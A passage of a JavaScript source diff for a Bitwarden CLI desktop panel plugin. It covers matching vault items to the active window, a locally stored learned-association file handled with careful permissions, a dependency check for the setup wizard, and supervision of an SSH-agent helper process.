w.initialTitle || "").trim().slice(0, MAX_TITLE_CHARS) + if (!cls && !title) return null + + var identity = windowIdentity(cls, title) + if (!identity) return null + var cleanTitle = identity.cleanTitle + var detectedDomain = identity.detectedDomain + var displayName = identity.displayName + + if (!cleanTitle && !cls) return null + + // Words belonging to a hostname printed in the title must not be reusable as + // free text, or every item sharing a label ("example") with the current host + // would match. Strip the host, then re-seed the one name that does count. + var matchText = cleanTitle + if (detectedDomain) { + matchText = matchText.replace(new RegExp(detectedDomain.host.replace(/[.*+?^${}()|[\]\\-]/g, "\\$&"), "gi"), " ").trim() + } + + var rawTokens = extractTokens(matchText) + if (detectedDomain && detectedDomain.rootName && !GENERIC_LABELS[detectedDomain.rootName]) { + if (rawTokens.indexOf(detectedDomain.rootName) === -1) rawTokens.push(detectedDomain.rootName) + } + var aliasTokens = aliasesFor(rawTokens) + var titleTokens = rawTokens.concat(aliasTokens) + + if (displayName.length > 40) { + displayName = displayName.slice(0, 37) + "..." + } + + return { + cls: cls, + clsSquashed: squash(cls), + title: cleanTitle, + rawTitle: title, + matchText: matchText, + squashedTitle: squash(cleanTitle), + squashedMatchText: squash(matchText), + segments: splitSegments(cleanTitle), + titleTokens: titleTokens, + aliasTokens: aliasTokens, + displayName: displayName, + detectedDomain: detectedDomain, + isBrowser: identity.isBrowser, + isTerminal: identity.isTerminal + } +} + +// Domain to domain. Only reachable when the title actually spelled a host. +function directDomainScore(domains, detectedDomain) { + if (!detectedDomain) return 0 + var score = 0 + for (var i = 0; i < domains.length; i++) { + var domain = domains[i] + if (domain.host === detectedDomain.host) return 100 + if (domain.baseDomain && domain.baseDomain === detectedDomain.baseDomain) score = Math.max(score, 96) + } + return score +} + +// The item's registrable name appears in the page title. +function domainTitleScore(domains, ctx) { + var score = 0 + for (var i = 0; i < domains.length; i++) { + var root = domains[i].rootName + if (!root || root.length < 3 || GENERIC_LABELS[root] || TLDS[root]) continue + + if (hasWholeWord(ctx.matchText, root)) { + score = Math.max(score, 90) + } else if (root.length >= 5 && ctx.squashedMatchText.indexOf(root) !== -1) { + // "Home Assistant" -> homeassistant.local + score = Math.max(score, 88) + } else if (ctx.aliasTokens.indexOf(root) !== -1) { + // Reached only via a brand alias, e.g. a "Gmail" title -> google.com + score = Math.max(score, 86) + } + } + return score +} + +// The item name matches a whole title segment. +function itemNameTitleScore(nameSquashed, ctx) { + if (nameSquashed.length < 3) return 0 + var score = 0 + for (var i = 0; i < ctx.segments.length; i++) { + if (squash(ctx.segments[i]) === nameSquashed) { + score = 92 + break + } + } + if (nameSquashed.length >= 5 && ctx.squashedTitle.indexOf(nameSquashed) !== -1) { + score = Math.max(score, 84) + } + return score +} + +// Shared significant words between the item name and the title. +function sharedTitleTokenScore(nameTokens, titleTokens) { + var overlap = 0 + for (var i = 0; i < nameTokens.length; i++) { + if (titleTokens.indexOf(nameTokens[i]) !== -1) overlap++ + } + return overlap > 0 ? 78 + Math.min(overlap, 3) * 2 : 0 +} + +// Native app: match the window class against the item. +function nativeAppScore(domains, nameSquashed, ctx) { + if (ctx.isBrowser || ctx.isTerminal || ctx.clsSquashed.length < 3) return 0 + var score = 0 + for (var i = 0; i < domains.length; i++) { + var root = domains[i].rootName + if (root && root.length >= 3 && !GENERIC_LABELS[root] && root === ctx.clsSquashed) { + score = 92 + } + } + if (nameSquashed.length >= 3 && (nameSquashed === ctx.clsSquashed + || nameSquashed.indexOf(ctx.clsSquashed) !== -1 + || ctx.clsSquashed.indexOf(nameSquashed) !== -1)) { + score = Math.max(score, 88) + } + return score +} + +// Score one vault item against the active window. 0 means no match; the bands +// are deliberately spread so a real domain hit always outranks a word hit. +function matchItem(item, ctx) { + if (!ctx || !item) return 0 + if (ctx.isTerminal && !ctx.detectedDomain) return 0 + + var domains = itemDomains(item) + var nameSquashed = squash(item.name) + var nameTokens = extractTokens(item.name) + + var score = directDomainScore(domains, ctx.detectedDomain) + if (score === 100) return score + score = Math.max(score, domainTitleScore(domains, ctx)) + score = Math.max(score, itemNameTitleScore(nameSquashed, ctx)) + score = Math.max(score, sharedTitleTokenScore(nameTokens, ctx.titleTokens)) + score = Math.max(score, nativeAppScore(domains, nameSquashed, ctx)) + + return score +} + +var MATCH_THRESHOLD = 80 +var MAX_SUGGESTIONS = 6 + +function resolveLearnedMatches(items, associations, ctx) { + // What you taught it comes first, and is never filtered out by the score + // banding -- an explicit choice outranks anything inferred. + var byId = {} + for (var i = 0; i < items.length; i++) { + if (items[i] && items[i].id) byId[items[i].id] = items[i] + } + + var matches = [] + var ids = {} + var learnedRanked = learnedMatchIds(associations, ctx) + for (var j = 0; j < learnedRanked.length; j++) { + var hit = byId[learnedRanked[j].itemId] + if (hit && isLoginItem(hit)) { + matches.push(hit) + ids[hit.id] = true + } + } + return { matches: matches, ids: ids } +} + +function scoreContextualMatches(items, ctx) { + var scored = [] + for (var i = 0; i < items.length; i++) { + if (!isLoginItem(items[i])) continue + var score = matchItem(items[i], ctx) + if (score >= MATCH_THRESHOLD) { + scored.push({ item: items[i], score: score, index: i }) + } + } + return scored +} + +function isLoginItem(item) { + return Boolean(item && (Number(item.typeCode) === 1 || item.type === "login" + || (item.typeCode === undefined && item.type === undefined))) +} + +function compareContextualMatches(a, b) { + if (b.score !== a.score) return b.score - a.score + if (a.item.favorite !== b.item.favorite) return a.item.favorite ? -1 : 1 + return a.index - b.index +} + +function findContextualMatches(items, windowData, associations) { + var empty = { matches: [], context: null, learnedIds: {} } + + var ctx = cleanWindowContext(windowData) + if (!ctx || !Array.isArray(items) || items.length === 0) return empty + if (ctx.isTerminal && !ctx.detectedDomain) return empty + if (!ctx.title && !ctx.detectedDomain && !ctx.clsSquashed) return empty + + var learned = resolveLearnedMatches(items, associations, ctx) + var scored = scoreContextualMatches(items, ctx) + if (scored.length === 0 && learned.matches.length === 0) return empty + if (scored.length === 0) { + return { matches: learned.matches.slice(0, MAX_SUGGESTIONS), context: ctx, learnedIds: learned.ids } + } + + scored.sort(compareContextualMatches) + + // Keep only the strongest band. A confirmed domain hit discards everything + // weaker (so a second account on the same site survives, but unrelated items + // that merely share a word do not). + var best = scored[0].score + var cutoff = best >= 96 ? 96 : Math.max(MATCH_THRESHOLD, best - 8) + + var matches = learned.matches.slice() + for (var m = 0; m < scored.length && matches.length < MAX_SUGGESTIONS; m++) { + if (scored[m].score >= cutoff && !learned.ids[scored[m].item.id]) { + matches.push(scored[m].item) + } + } + + return { matches: matches.slice(0, MAX_SUGGESTIONS), context: ctx, learnedIds: learned.ids } +} + +// ------------------------------------------------------------------------- +// Learned Associations +// ------------------------------------------------------------------------- +// +// Titles are a weak signal and some sites cannot be matched from one at all: +// a page titled "Home - authentik" served from auth.example.xyz shares no word +// with the stored credential, so no heuristic will ever connect them. Instead +// of guessing harder, the panel remembers. Picking an item while a window is +// active records that window's identifying keys against the item, and the next +// visit suggests it outright. Learning beats every heuristic tier below it. + +var ASSOC_VERSION = 1 +var ASSOC_ENV = "QSBW_ASSOC" +var ASSOC_DIR = "${XDG_STATE_HOME:-$HOME/.local/state}/qs-bitwarden-cli" + +function associationsEnvVar() { + return ASSOC_ENV +} + +function associationsReadCommand() { + var script = "d=\"" + ASSOC_DIR + "\"; f=\"$d/associations.json\"; " + + "if [ -d \"$d\" ] && [ ! -L \"$d\" ] && [ -f \"$f\" ] && [ ! -L \"$f\" ]; then " + + "head -c " + MAX_ASSOC_BYTES + " \"$f\" 2>/dev/null || printf '{}'; else printf '{}'; fi" + return ["bash", "-c", script] +} + +// Written through the environment for the same reason the keyring stores are: +// Process.write() cannot deliver EOF, so a shell supplies the payload instead. +function associationsWriteCommand() { + // Replace atomically from a private temporary file. Redirection straight to + // the destination would follow a symlink and would preserve an old 0644 + // mode; rename replaces the directory entry itself and the fresh file is + // born 0600 under this umask. + var script = "set -e; d=\"" + ASSOC_DIR + "\"; " + + "if [ -e \"$d\" ]; then [ -d \"$d\" ] && [ ! -L \"$d\" ] || exit 1; " + + "else (umask 077 && mkdir -p \"$d\") || exit 1; fi; chmod 700 \"$d\"; " + + "umask 077; tmp=$(mktemp -- \"$d/.associations.XXXXXXXX\"); " + + "trap 'rm -f -- \"$tmp\"' EXIT HUP INT TERM; " + + "printf '%s' \"$" + ASSOC_ENV + "\" > \"$tmp\"; chmod 600 \"$tmp\"; " + + "mv -fT -- \"$tmp\" \"$d/associations.json\"; trap - EXIT HUP INT TERM" + return ["bash", "-c", script] +} + +// Logging out has to take this with it. The store is a list of the domains, +// app names and title words the user has credentials for, each stamped with +// when it was last used -- a browsing-shaped record of the account, in the +// clear, under an account that is no longer signed in. The keyring entries +// are already cleared for exactly that reason; this file was the one piece of +// the account's data left behind, and it has no expiry of its own. +// +// The directory stays: it is created 700 on the next write. The panel waits +// for an in-flight atomic writer to exit before it runs this clear, so logout +// cannot be followed by that writer resurrecting the file. +function associationsClearCommand() { + var script = "d=\"" + ASSOC_DIR + "\"; " + + "if [ -d \"$d\" ] && [ ! -L \"$d\" ]; then rm -f -- \"$d/associations.json\" 2>/dev/null; fi; exit 0" + return ["bash", "-c", script] +} + +function emptyAssociations() { + return { version: ASSOC_VERSION, keys: {} } +} + +function associationKeyWeight(key) { + var value = String(key || "") + if (value.length > MAX_TITLE_CHARS + 16) return 0 + if (/^domain:[a-z0-9][a-z0-9.-]*$/.test(value)) return 3 + if (/^app:[a-z0-9]+$/.test(value)) return 2 + if (/^word:[a-z0-9]+$/.test(value)) return 1 + return 0 +} + +function cleanAssociationEntry(key, entry) { + var weight = associationKeyWeight(key) + if (!weight || !entry || typeof entry !== "object" || Array.isArray(entry)) return null + + if (typeof entry.itemId !== "string" + || entry.itemId.length === 0 || entry.itemId.length > 256 + || /[\x00-\x1f\x7f]/.test(entry.itemId)) return null + + var count = Number(entry.count) + if (!isFinite(count) || count < 1) count = 1 + count = Math.min(1000000, Math.floor(count)) + + var updated = typeof entry.updated === "string" ? entry.updated : "" + if (updated.length > 64 || /[\x00-\x1f\x7f]/.test(updated)) updated = "" + + return { itemId: entry.itemId, weight: weight, count: count, updated: updated } +} + +function parseAssociations(raw) { + var parsed = null + try { + parsed = JSON.parse(String(raw || "").trim() || "{}") + } catch (e) { + return emptyAssociations() + } + var version = Number(parsed && parsed.version === undefined ? ASSOC_VERSION : parsed.version) + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed) + || version !== ASSOC_VERSION || !parsed.keys + || typeof parsed.keys !== "object" || Array.isArray(parsed.keys)) { + return emptyAssociations() + } + + var clean = emptyAssociations() + for (var key in parsed.keys) { + if (!Object.prototype.hasOwnProperty.call(parsed.keys, key)) continue + var entry = cleanAssociationEntry(key, parsed.keys[key]) + if (entry) clean.keys[key] = entry + } + return clean +} + +function serializeAssociations(assoc) { + return JSON.stringify(assoc && assoc.keys ? assoc : emptyAssociations()) +} + +// The identifying keys for a window, strongest first. A domain is definitive; +// an app class is nearly so; individual title words are the weak fallback that +// makes an untitled-domain site like authentik learnable at all. +function contextKeys(ctx) { + if (!ctx) return [] + var keys = [] + + if (ctx.detectedDomain && ctx.detectedDomain.baseDomain && !ctx.detectedDomain.isIp) { + keys.push({ key: "domain:" + ctx.detectedDomain.baseDomain, weight: 3 }) + } + if (!ctx.isBrowser && !ctx.isTerminal && ctx.clsSquashed && ctx.clsSquashed.length >= 3) { + keys.push({ key: "app:" + ctx.clsSquashed, weight: 2 }) + } + for (var i = 0; i < ctx.titleTokens.length; i++) { + keys.push({ key: "word:" + ctx.titleTokens[i], weight: 1 }) + } + return keys +} + +// How large the store may get on the way out. It only ever grew, and it is +// read back through a `head -c` cap: the first read past that cap returns a +// truncated object, which does not parse, which is indistinguishable here from +// no store at all -- so the next pick overwrites everything the user ever +// taught it with a fresh empty file. Since a title's words each become a key +// and a page picks its own title, that erasure is something a page can drive. +// Half the reader's cap, so the estimate below has room to be wrong. +var MAX_ASSOC_WRITE_BYTES = MAX_ASSOC_BYTES / 2 + +// Last pick wins: re-recording a key that pointed elsewhere retargets it, so a +// word learned from the wrong page corrects itself the next time you choose. +function recordAssociation(assoc, ctx, itemId, timestamp) { + var next = { version: ASSOC_VERSION, keys: {} } + var k + for (k in assoc.keys) next.keys[k] = assoc.keys[k] + + var keys = contextKeys(ctx) + if (keys.length === 0 || !itemId) return next + + for (var i = 0; i < keys.length; i++) { + var existing = next.keys[keys[i].key] + var count = (existing && existing.itemId === itemId) ? Number(existing.count || 0) + 1 : 1 + next.keys[keys[i].key] = { + itemId: String(itemId), + weight: keys[i].weight, + count: count, + updated: String(timestamp || "") + } + } + + return trimAssociations(next) +} + +// Newest kept first, by the ISO timestamp each entry carries, until the budget +// is spent. An entry with no timestamp predates the field, so it sorts oldest +// and is the first to go. +function trimAssociations(assoc) { + var all = [] + var k + for (k in assoc.keys) all.push(k) + + all.sort(function(a, b) { + var ua = String((assoc.keys[a] && assoc.keys[a].updated) || "") + var ub = String((assoc.keys[b] && assoc.keys[b].updated) || "") + if (ua !== ub) return ua < ub ? 1 : -1 + return a < b ? 1 : -1 + }) + + var used = 0 + var kept = [] + for (var i = 0; i < all.length; i++) { + used += all[i].length + String(JSON.stringify(assoc.keys[all[i]])).length + 4 + if (used > MAX_ASSOC_WRITE_BYTES) break + kept.push(all[i]) + } + if (kept.length === all.length) return assoc + + var trimmed = { version: assoc.version, keys: {} } + for (var j = 0; j < kept.length; j++) trimmed.keys[kept[j]] = assoc.keys[kept[j]] + return trimmed +} + +function forgetAssociation(assoc, ctx, itemId) { + var next = { version: ASSOC_VERSION, keys: {} } + var keys = contextKeys(ctx) + var drop = {} + for (var i = 0; i < keys.length; i++) drop[keys[i].key] = 1 + + for (var k in assoc.keys) { + var entry = assoc.keys[k] + if (drop[k] && (!itemId || entry.itemId === itemId)) continue + next.keys[k] = entry + } + return next +} + +// True when this exact item is already what the context resolves to, used to +// decide whether a pick is worth recording and how to label the pin action. +function isAssociated(assoc, ctx, itemId) { + if (!assoc || !ctx || !itemId) return false + var keys = contextKeys(ctx) + for (var i = 0; i < keys.length; i++) { + var entry = assoc.keys[keys[i].key] + if (entry && entry.itemId === itemId) return true + } + return false +} + +function learnedMatchIds(assoc, ctx) { + if (!assoc || !assoc.keys || !ctx) return [] + var keys = contextKeys(ctx) + var best = {} + + for (var i = 0; i < keys.length; i++) { + var entry = assoc.keys[keys[i].key] + if (!entry || !entry.itemId) continue + var rank = keys[i].weight * 1000 + Number(entry.count || 1) + if (!best[entry.itemId] || best[entry.itemId] < rank) best[entry.itemId] = rank + } + + var out = [] + for (var id in best) out.push({ itemId: id, rank: best[id] }) + out.sort(function(a, b) { return b.rank - a.rank }) + return out +} + +// ------------------------------------------------------------------------- +// Dependency Checks (Setup Wizard) +// ------------------------------------------------------------------------- +// +// What the wizard asks the user to install, checked in one process rather than +// one per tool. Each entry reports present/absent plus the package that +// provides it, so the wizard can offer an exact install command instead of +// advice. +// +// Only tools Omarchy does not already ship belong here. `wl-clipboard`, +// `libsecret` and `hyprland` are in omarchy-base.packages, and `glib2`, +// `systemd` and `openssl` come with the system, so listing them turned a +// first-run screen into a checklist of rows that are green on every machine +// this plugin can run on -- noise in front of the one row that is not. The +// plugin still shells out to all of them; they are simply not a decision the +// user has to make. Anything added here must be something an Omarchy install +// can genuinely lack. +var DEPENDENCIES = [ + { + key: "bw", label: "Bitwarden CLI", binary: "bw", pkg: "bitwarden-cli", aur: false, + required: true, + purpose: "Reads and writes your vault. The panel installs it for you on first run." + }, + { + key: "jq", label: "jq", binary: "jq", pkg: "jq", aur: false, + required: true, + purpose: "Safely strips SSH private keys before the panel reads your vault." + }, + { + // Not an `omarchy pkg add` row. Installing fprintd on its own gets nobody + // anywhere: `ready` also wants an enrolled finger and the PAM stack at + // /etc/pam.d/omarchy-lock-fingerprint, and a package install produces + // neither -- the row would stay red however many times it was pressed. + // `omarchy setup security fingerprint` is the whole job in one command + // (reader detection, libfprint/fprintd/usbutils, enrolment, verification, + // then the PAM stacks), so it owns this row outright. + key: "fprintd", label: "Fingerprint unlock", binary: "fprintd-list", pkg: "fprintd", aur: false, + required: false, setup: true, + // Only shown on a machine with a reader; see `applicable` below. + purpose: "Unlock the vault with your finger. Omarchy installs the reader stack and enrols you in one step." + } +] + +// One shell round trip: `key=1` or `key=0` per line, plus the fingerprint +// enrolment state, which needs more than a binary being on PATH. +function dependencyCheckCommand() { + var parts = [] + for (var i = 0; i < DEPENDENCIES.length; i++) { + var d = DEPENDENCIES[i] + parts.push("if command -v " + d.binary + " >/dev/null 2>&1; then echo " + + shellQuote(d.key + "=1") + "; else echo " + shellQuote(d.key + "=0") + "; fi") + } + // Never forward arbitrary version output into QML. The CLI gets 64 bytes, + // and only a strict calendar-version token survives the producer boundary. + parts.push("if command -v bw >/dev/null 2>&1; then " + + "__qsbw_bw_version=$(bw -v 2>/dev/null | head -c 64); " + + "if [[ \"$__qsbw_bw_version\" =~ ^v?[0-9]{4}\\.[0-9]{1,2}\\.[0-9]{1,6}$ ]]; then " + + "printf 'bw_version=%s\\n' \"$__qsbw_bw_version\"; else echo bw_version=; fi; " + + "else echo bw_version=; fi") + parts.push("if [ -f /etc/pam.d/omarchy-lock-fingerprint ] && command -v fprintd-list >/dev/null 2>&1 " + + "&& fprintd-list \"$USER\" 2>/dev/null | grep -qi finger; then echo fingerprint_ready=1; else echo fingerprint_ready=0; fi") + // Omarchy's own reader detection, which reads sysfs rather than asking + // fprintd -- so it answers before anything is installed, which is exactly + // when the wizard needs to know whether to offer the row at all. A desktop + // with no reader should not be shown a fingerprint option it can never + // satisfy. + parts.push("if command -v omarchy-hw-fingerprint >/dev/null 2>&1 && omarchy-hw-fingerprint >/dev/null 2>&1; " + + "then echo fingerprint_hw=1; else echo fingerprint_hw=0; fi") + parts.push("if command -v omarchy >/dev/null 2>&1; then echo omarchy=1; else echo omarchy=0; fi") + return ["bash", "-c", cappedScript("{ " + parts.join("; ") + "; } | head -c 4096")] +} + +function parseDependencies(raw) { + var found = {} + var lines = String(raw || "").split("\n") + for (var i = 0; i < lines.length; i++) { + var line = lines[i].trim() + var cut = line.indexOf("=") + if (cut <= 0) continue + found[line.slice(0, cut)] = line.slice(cut + 1) + } + + var bwVersionRaw = String(found["bw_version"] || "").trim() + var bwVersion = normalizeReleaseVersion(bwVersionRaw) + var sshCliStatus = "missing" + if (found["bw"] === "1") sshCliStatus = sshCliSupport(bwVersion) + + var out = [] + for (var d = 0; d < DEPENDENCIES.length; d++) { + var dep = DEPENDENCIES[d] + var installed = found[dep.key] === "1" + var ready = dep.key === "fprintd" ? found["fingerprint_ready"] === "1" : installed + var note = "" + if (dep.key === "bw" && installed) { + if (sshCliStatus === "unsupported") { + note = "SSH keys need Bitwarden CLI " + SSH_CLI_MIN_VERSION + " or newer" + + (bwVersion ? "; found " + bwVersion + "." : ".") + } else if (sshCliStatus === "unknown") { + note = "Could not read the Bitwarden CLI version. SSH support stays unconfirmed until that is fixed." + } + } + out.push({ + key: dep.key, + label: dep.label, + binary: dep.binary, + pkg: dep.pkg, + required: dep.required, + purpose: dep.purpose, + // Omarchy owns this one end to end, so the wizard offers its setup + // command rather than a package install. See DEPENDENCIES. + setup: Boolean(dep.setup), + // Whether this machine can satisfy the row at all. Hardware the box does + // not have is not a missing dependency, and listing it as one is how a + // setup screen grows rows nobody can ever turn green. + applicable: dep.key === "fprintd" ? found["fingerprint_hw"] === "1" : true, + installed: installed, + // fprintd on PATH is not the same as a usable reader with an enrolled finger. + ready: ready, + version: dep.key === "bw" ? bwVersion : "", + note: note + }) + } + return { + items: out, + hasOmarchy: found["omarchy"] === "1", + hasFingerprintReader: found["fingerprint_hw"] === "1", + bwVersion: bwVersion, + sshCliMinVersion: SSH_CLI_MIN_VERSION, + sshCliStatus: sshCliStatus + } +} + +// What the setup screen actually draws: the rows this machine can do something +// about. Everything else stays in `items`, where the settings screen and the +// fingerprint wiring still look tools up by key. +function applicableDependencies(deps) { + var out = [] + if (!deps || !deps.items) return out + for (var i = 0; i < deps.items.length; i++) { + if (deps.items[i].applicable) out.push(deps.items[i]) + } + return out +} + +function missingRequired(deps) { + var missing = [] + if (!deps || !deps.items) return missing + for (var i = 0; i < deps.items.length; i++) { + if (deps.items[i].required && !deps.items[i].installed) missing.push(deps.items[i]) + } + return missing +} + +function normalizeReleaseVersion(raw) { + var match = String(raw || "").trim().match(/^v?(\d{4})\.(\d{1,2})\.(\d{1,6})$/) + if (!match) return "" + return Number(match[1]) + "." + Number(match[2]) + "." + Number(match[3]) +} + +function compareReleaseVersions(a, b) { + var left = normalizeReleaseVersion(a) + var right = normalizeReleaseVersion(b) + if (!left || !right) return null + var la = left.split(".") + var ra = right.split(".") + for (var i = 0; i < 3; i++) { + var lv = Number(la[i] || 0) + var rv = Number(ra[i] || 0) + if (lv < rv) return -1 + if (lv > rv) return 1 + } + return 0 +} + +function dependencyByKey(deps, key) { + if (!deps || !Array.isArray(deps.items)) return null + for (var i = 0; i < deps.items.length; i++) { + if (deps.items[i].key === key) return deps.items[i] + } + return null +} + +function dependencyInstalled(deps, key) { + var dep = dependencyByKey(deps, key) + return Boolean(dep && dep.installed) +} + +function vaultListMode(deps) { + return dependencyInstalled(deps, "bw") && dependencyInstalled(deps, "jq") ? "sanitized" : "blocked" +} + +function vaultListBlockedMessage(deps) { + if (!dependencyInstalled(deps, "bw")) return "Bitwarden CLI is not installed yet." + if (!dependencyInstalled(deps, "jq")) { + return "jq is required to safely read vault items. Finish setup to continue." + } + return "Could not determine how to safely read vault items." +} + +// The SSH filter -- and later the agent's setup -- appear only once the +// dependency probe has confirmed a CLI that can decrypt SSH key items. An +// unreadable version counts as unsupported: hiding the SSH surface costs a +// user on an unknown build nothing, while showing it promises a read the CLI +// may not be able to perform. +function sshUiAvailable(deps, checked) { + return Boolean(checked) && Boolean(deps) && deps.sshCliStatus === "supported" +} + +function defaultSshCapability() { + return { + state: "unknown", + keyCount: 0, + message: "SSH key availability has not been checked yet." + } +} + +function inspectSanitizedVault(raw) { + var parsed = parseSanitizedEnvelope(raw) + if (!parsed) return defaultSshCapability() + if (parsed.sshCapability === "confirmed") { + return { + state: "confirmed", + keyCount: parsed.sshKeys.length, + message: parsed.sshKeys.length === 1 + ? "1 SSH key found." + : parsed.sshKeys.length + " SSH keys found." + } + } + return { + state: "unconfirmed", + keyCount: 0, + message: "No SSH keys were returned. Server support remains unconfirmed." + } +} + +// "supported" | "unsupported" | "unknown" for one probed `bw --version` +// string. Anything the probe could not read stays "unknown": SSH stays hidden, +// while ordinary vault items keep working. +function sshCliSupport(version) { + var normalized = normalizeReleaseVersion(version) + if (!normalized) return "unknown" + return compareReleaseVersions(normalized, SSH_CLI_MIN_VERSION) < 0 ? "unsupported" : "supported" +} + +function vaultListFailureMessage(stderrText, deps, mode) { + if (mode === "blocked") return vaultListBlockedMessage(deps) + // Never pass producer diagnostics through: bw and jq can quote decrypted + // values in failures. The only detail added here comes from the version the + // dependency probe already read, never from what the failed read printed. + var version = deps && deps.bwVersion ? deps.bwVersion : "" + if (version && compareReleaseVersions(version, SSH_MALFORMED_ITEM_FIX_VERSION) < 0) { + return SANITIZED_LIST_ERROR + SANITIZED_LIST_SSH_FIX_HINT + } + return SANITIZED_LIST_ERROR +} + +// ------------------------------------------------------------------------- +// SSH companion supervision +// ------------------------------------------------------------------------- +// +// The companion is a separate process holding decrypted private keys, so the +// panel supervises it rather than launching and forgetting it: a tracked, +// non-detached Process with stdin held open, stdout parsed a line at a time +// from the moment it starts, and a cleared environment carrying nothing but +// the runtime directory it needs to find its own socket. +// +// Everything here is pure. The panel owns the Process, the timers and the +// clock; this file owns the decisions. That is what keeps the supervision +// asynchronous -- there is no point in this state machine where QML could +// wait for the helper, because none of it can block, and the panel's only +// response to any event is to set a property or arm a timer. +// +// The signing gate is the safety property. It opens on exactly one transition +// -- a well-formed v1 `ready` answering the panel's `hello` -- and closes on +// every other outcome: a malformed or overlong line, an unexpected message +// type, a version mismatch, a stalled handshake, EOF, or a crash. Nothing in +// the ordinary vault reads it, so a helper that never starts costs the user +// nothing but the SSH feature. + +// Matches MAX_CONTROL_LINE in the companion. The panel enforces the same +// ceiling on the way back so a helper that has lost its mind cannot make the +// shell allocate without bound. +var SSH_AGENT_CONTROL_VERSION = 1 +var SSH_AGENT_MAX_LINE_BYTES = 64 * 1024 + +// The development helper, built by `cargo build --manifest-path agent/Cargo.toml`. +// Task 18 replaces this with the checksum-validated bundled binary; until then +// the path is still resolved the same way -- inside the plugin directory, from +// an absolute base, with no shell and no PATH lookup between here and exec. +var SSH_AGENT_HELPER_RELATIVE = "agent/target/debug/qs-bitwarden-ssh-agent" + +// A handshake is two writes and a read on an already-running process. Five +// seconds is far past any honest answer and still short enough that a helper +// wedged before `ready` is reported rather than waited on. +var SSH_AGENT_HANDSHAKE_TIMEOUT_MS = 5000 +var SSH_AGENT_BACKOFF_BASE_MS = 500 +var SSH_AGENT_BACKOFF_MAX_MS = 30000 +var SSH_AGENT_MAX_RESTARTS = 5 +// The hard ceiling on `sshAgentApprovalWindowSec`. A grant is a window in +// which a live process signs without asking again, so the cap is a security +// bound and belongs next to the protocol constants rather than in the +// settings screen that happens to draw it. +var SSH_AGENT_APPROVAL_WINDOW_MAX_SEC = 900 +// A run that served for this long was working, whatever killed it afterwards. +// Without this, one healthy helper restarted at the end of a long session +// would carry the failure count from a crash loop hours earlier; with it, only +// genuinely consecutive quick deaths reach the restart cap. +var SSH_AGENT_HEALTHY_MS = 60 * 1000 + +// Messages the companion is allowed to send. An unknown type is a mismatch +// between the panel and a helper binary that should have been replaced with +// it, which is exactly the case the protocol version exists to catch. +var SSH_AGENT_EVENT_TYPES = [ + "ready", "unlock_required", "approval_required", "request_cancelled", + "keys_loaded", "public_key", "locked", "grants_changed", "state_changed", "error" +] + +function sshAgentMaxLineBytes() { return SSH_AGENT_MAX_LINE_BYTES } +function sshAgentApprovalWindowMax() { return SSH_AGENT_APPROVAL_WINDOW_MAX_SEC } +function sshAgentMaxRestarts() { return SSH_AGENT_MAX_RESTARTS } +function sshAgentHandshakeTimeoutMs() { return SSH_AGENT_HANDSHAKE_TIMEOUT_MS } + +// The plugin's own directory, from the `file://` URL QML resolves for it. +// This is the base for the only executable the panel launches by path rather +// than by name, so it is validated rather than trusted: absolute, `file:` +// scheme or nothing, and no traversal segment either literal or percent- +// encoded. A URL that fails any of those yields "", which disables the helper +// instead of resolving an executable somewhere else on the disk. +function pluginDirFromUrl(url) { + if (typeof url !== "string" || url === "") return "" + var raw = url + if (raw.indexOf("file://") === 0) { + raw = raw.slice("file://".length) + } else if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(raw)) { + return "" + } + var decoded = raw + try { + decoded = decodeURIComponent(raw) + } catch (e) { + return "" + } + if (decoded.charAt(0) !== "/") return "" + while (decoded.length > 1 && decoded.charAt(decoded.length - 1) === "/") { + decoded = decoded.slice(0, decoded.length - 1) + } + var parts = decoded.split("/") + for (var i = 0; i < parts.length; i++) { + if (parts[i] === "." || parts[i] === "..") return "" + } + return decoded +} + +function sshAgentHelperPath(pluginDir) { + if (typeof pluginDir !== "string" || pluginDir.charAt(0) !== "/") return "" + var base = pluginDir + while (base.length > 1 && base.charAt(base.length - 1) === "/") { + base = base.slice(0, base.length - 1) + } + var parts = base.split("/") + for (var i = 0; i < parts.length; i++) { + if (parts[i] === "." || parts[i] === "..") return "" + } + return base + "/" + SSH_AGENT_HELPER_RELATIVE +} + +// No `bash -c` wrapper, unlike every `bw` call in this file. Those need a +// shell for their output caps; this one needs the opposite -- an unwrapped +// child whose stdin, stdout and lifetime belong to the Process object, so +// closing stdin reaches the helper itself and killing the Process kills the +// thing holding the keys rather than a shell that spawned it. +function sshAgentHelperCommand(pluginDir, source) { + var candidates = sshAgentHelperCandidates(pluginDir) + for (var i = 0; i < candidates.length; i++) { + if (candidates[i].source === source) return [candidates[i].path] + } + // No accepted source means the inspection has not run or did not accept + // anything, and launching a guess would defeat the point of inspecting. + return [] +} + +// The companion needs no PATH, no HOME, and no vault credential of any kind: +// it spawns nothing and runs no `bw`. XDG_RUNTIME_DIR is the single variable +// it reads, to find the private directory its socket and FIFO live in. Paired +// with `clearEnvironment: true` on the Process, this is the whole environment +// the helper is given -- BW_SESSION cannot leak into it because it is not +// there to leak. +function sshAgentHelperEnv(runtimeDir) { + if (typeof runtimeDir !== "string" || runtimeDir.charAt(0) !== "/") return null + return { XDG_RUNTIME_DIR: runtimeDir } +} + +function sshAgentHelloLine() { + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "hello" }) + "\n" +} + +function sshAgentShutdownLine() { + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "shutdown" }) + "\n" +} + +// The cap is in bytes because the companion's is. Counting UTF-16 units would +// let a line of three-byte characters through at three times the ceiling. +function utf8ByteLength(text) { + // A UTF-8 byte count is never below the UTF-16 unit count, so anything + // already longer than the cap in characters is over it in bytes. Checking + // that first keeps the loop off a line that is megabytes of junk. + if (text.length > SSH_AGENT_MAX_LINE_BYTES) return text.length + var bytes = 0 + for (var i = 0; i < text.length; i++) { + var code = text.charCodeAt(i) + if (code < 0x80) bytes += 1 + else if (code < 0x800) bytes += 2 + else if (code >= 0xd800 && code <= 0xdbff) { bytes += 4; i++ } + else bytes += 3 + } + return bytes +} + +// One line of companion stdout. Returns {ok:true, message} or {ok:false, code, +// fatal}. Only a blank line is non-fatal: SplitParser can hand back the empty +// remainder around a final newline, and that is not a protocol failure. +// Everything else that is not a well-formed, v1, known-type object closes the +// signing gate, because the panel cannot tell a bug from a helper that is no +// longer the binary it shipped with. +// The panel caps each line, but the line itself is assembled by SplitParser, +// which has no ceiling of its own: a helper that wrote without ever emitting a +// newline would grow that buffer. That is inside the same-UID boundary this 